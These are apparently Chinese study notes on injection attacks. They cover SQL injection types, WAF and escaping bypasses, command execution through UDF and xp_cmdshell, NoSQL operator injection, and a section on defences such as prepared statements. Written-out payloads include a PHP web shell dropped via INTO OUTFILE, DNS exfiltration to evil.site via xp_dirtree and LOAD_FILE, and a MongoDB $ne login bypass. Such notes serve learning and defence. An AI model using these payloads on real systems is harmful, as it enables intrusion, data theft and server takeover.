注入攻击
注入攻击
用户输入数据被执行或用于拼接,从而达到目的
SQL注入
注入方式
注释
用户登录
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM user WHERE username='$username' AND password='$password';"登录绕过
select * from user where username='admin'-- ' and password='123';
/* "-- "、"--+"、"#"为单行注释,使后续内容失效 */Union注入
查询学生信息
select name, gender from student where id=1获取账户信息
select name, gender from student where id=1 union select username, password from user;堆叠注入
能否执行与当前环境有关,如MySQL本身支持堆叠,但PHP中mysqli_query函数不支持
查询工资
select salary from staff where name='张三'涨工资
select salary from staff where name='张三'; update staff set salary=20000 where name='张三'报错注入
利用报错回显需要信息,如数据库类型、sql语句、过滤方式等
例:利用ExtractValue函数第二个参数必须是XPath格式使其报错回显参数
ExtractValue(1,concat(0x7e,database()))0x7e表示”~“,拼接后回显XPATH syntax error: '~database_name'
布尔型盲注
构建简单条件语句,根据返回页面是否变化验证语句是否执行
输入参数页面
http://example.com/item.php?id=1执行的sql语句为
select title, description, body from items where id=1验证id是否存在注入漏洞,使用条件运算查看页面是否显示异常或正常显示,可能出现在其他地方微小变化,如DOM节点,响应长度等
select title, description, body from items where id=1 and 1=2
select title, description, body from items where id=1 and 1=1延时盲注
根据执行时间判断是否注入成功
- MySQL中BENCHMACK(次数,函数)函数可以让一个函数执行若干次
| 数据库 | 延时方法 |
|---|---|
| MySQL | BENCHMACK();SLEEP();GET_LOCK() |
| PostgreSQL | pg_sleep();generate_series() |
| SQL Server | WAITFOR_DELAY '0:0:1' |
- 让数据库对一张表进行笛卡尔积操作
带外数据注入
通过特定通道向外发送数据
当查询数据库操作异步进行时,前面方法将失效
利用SQL Server的xp_dirtree的存储过程,列出网络驱动\7da687a6dwji879.evil.site\下的目录,执行操作时将向攻击者域名服务器发送DNS请求,攻击者可通过查看DNS日志判断注入是否成功
http://example.com/item.aspx?id=1;EXEC master..xp_dirtree '\\7da687a6dwji879.evil.site\' --MySQL中使用LOAD_FILE函数加载网络驱动文件同样会发送DNS请求,但当配置secure_file_priv为NULL时将不允许访问目录
select LOAD_FILE('\\\\7da687a6dwji879.evil.site\\1.txt')Oracale数据库中可使用UTL_INADDR.GET_HOST_ADDRESS、UTL_HTTP.REQUEST等函数发送请求
二次注入
将恶意数据存储于数据库,应用程序读取时生成新的SQL语句,也称存储型SQL注入
SQL注入技巧
常见技巧
- 猜测版本号,如:大版本号为8则返回True
http://example.com/item.php?id=1 and substring(@@version,1,1)=8- 判断表、列是否存在,在此基础上可进一步通过判断字符范围来确定具体值,可利用工具sqlmap完成
id=1 union all select 1,2,3 from user
id=1 union all select 1,2,username from userhttps://github.com/jason-blog/blog/blob/master/Kali/Sqlmap使用教程【个人笔记精华整理】.MD
- MySQL利用LOAD_FILE函数读取系统文件,前提是数据库具备读取权限
- 使用INTO OTFILE可以将文件写入Web目录
id=1 union select '<?php eval($_GET[x]);?>' into outfile '/var/www/shell.php'- 使用INTO DUMPFILE写入二进制文件,受URL长度限制时可将内容分批次写入一个表中,再导出到指定位置
create table test(data longblog);
insert into test(data) value (...);
update test set data=concat(data,...);
.....
select data from test into dumpfile "/var/www/shell.php"- 使用注释符或换行符绕过关键词过滤
id=1 union-- abc%0D%0Aselect passwd from user一些安全产品会去掉注释符,但MySQL存在版本条件注释,版本大于4.04.04,注释符内值还是有效
id=1 union /*!4.04.04 select */ passwd from user单纯的去掉注释符将不利于安全监测,注释不成立的内容将拼接到语句中
- 安全产品收到的HTTP请求中只包含SQL语句的片段,无法判断变量是否在引号包围中
id=1 union-- ' select passwd from user当id变量类型为数字,解析引擎误判为字符串从而绕过了检测
id=1 -- ' union select passwd from user当id变量类型为字符串,解析引擎误判为数字
- 使用order来猜解数据库
item.php?order=sleep(5)判断是否存在注点
item.php?order=if(ascii(substr())=,0,sleep(5))猜解明确信息
- select语句中查询字段由外部参数控制
show.php?field=(select passwd from user) as title命令执行
创建UDF从本地载入一个动态链接库作为自定义函数
首先通过INTO DUMPFILE写入UDF动态链接库,再创建自定义函数执行UDF中代码
create function 函数名 returns 数据类型 soname 载入文件lib_mysqludf_sys为常用UDF
攻击存储过程
MS SQL Server中xp_cmdshell注入可执行系统命令
exec master.dbo.xp_cmdshell 'ping evil.site'当xp_cmdshell关闭时,如果拥有sysadmin权限可sq_configure开启
exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'xp_cmdshell',1
reconfigurexp_regwrite可以写注册表
编码问题
当应用与数据库所使用字符集不一致时,将导致误判
PHP中使用函数addslashes或开启magic_quotes_gpc时将对引号、\、NUL前添加转义符” \ “
多字节编码
当数据库使用GBK字符集且使用addslashes函数转义时,输入
name=%bf%27 or 1=1--%20name=¿' or 1=1--
“ \ ”ascii码为0x 5c,转义后内容变为
name=%bf%5c%27 or 1=1--%20数据库将0x bf 5c当成一个中文字符处理,单引号未被转义
如果使用real_escape_string函数则会考虑到数据库所使用字符集,避免此类问题
解决浏览器与服务器返回字符集的差别可以在HTML页面的<meta>标签中指定charset
多重编码
无法判断攻击者编码次数
当输入
id=1%2523 or 1=1安全产品由于不知道编码多少次通常会解码到不能解为止,#后的内容被注释从而绕过检测
id=1# or 1=1而Web应用只做一层解码,“ % ”为模运算
id=1%23 or 1=1长字符截断
MySQL当没有开启STRICK_ALL_TABLES时,输入超长值将会被截断插入,可能与数据库原本内容发生冲突
如:注册超长用户名,截断后插入内容为admin加上一些空格,将有机会用自己设定密码登入管理员账户
批量赋值
高度封装的SQL操作大概率有机会传入多余的参数修改数据库内容
如:更新数据库账户信息时添加额外参数,将普通用户升级为admin
SQL防御
预编译语句
将语句提前定好,并定义好参数数据类型,可保证安全的同时提高数据库性能
例:Java中使用预编译语句,使用变量“ ? ”作为占位符,用户输入的任何name都会被当成字符串
String sql="select * from staff where name=? and age=?";
PreparedStatement preparedStatement = connection.preparedStatement(sql);
preparedStatement.setString(1,"张三");
preparedStatrment.setLong(2,60);
ResultSet result = preparedStatement.executeQuery();使用存储过程
将语句提前定义在数据库,只需传入参数,通常用于复杂的数据库操作
参数校验
规定输入数据类型格式或做强制转换
使用安全函数
动态生成SQL语句
NoSQL注入
非关系型数据库注入
MongoDB处理用户登录请求
let query = {
uername: req.body.username,
password: req.body.password
}
User.find(query, function(err,user){
if (err){
...
} else {
if (user.length >= 1){
res.json({username: user[0].username, msg: "welcome"})
}
}
});正常提交JSON形式数据
{"username":"mycount","password":"mypassword"}MongoDB支持不同的查询操作符,可进行绕过
{"username":"admin","password":{"$ne":1}}当admin密码不为1时将绕过
表单形式
username=admin&password[$ne]=1当使用$where查询符时,如果javascriptEnable为true,将可支持调用js函数
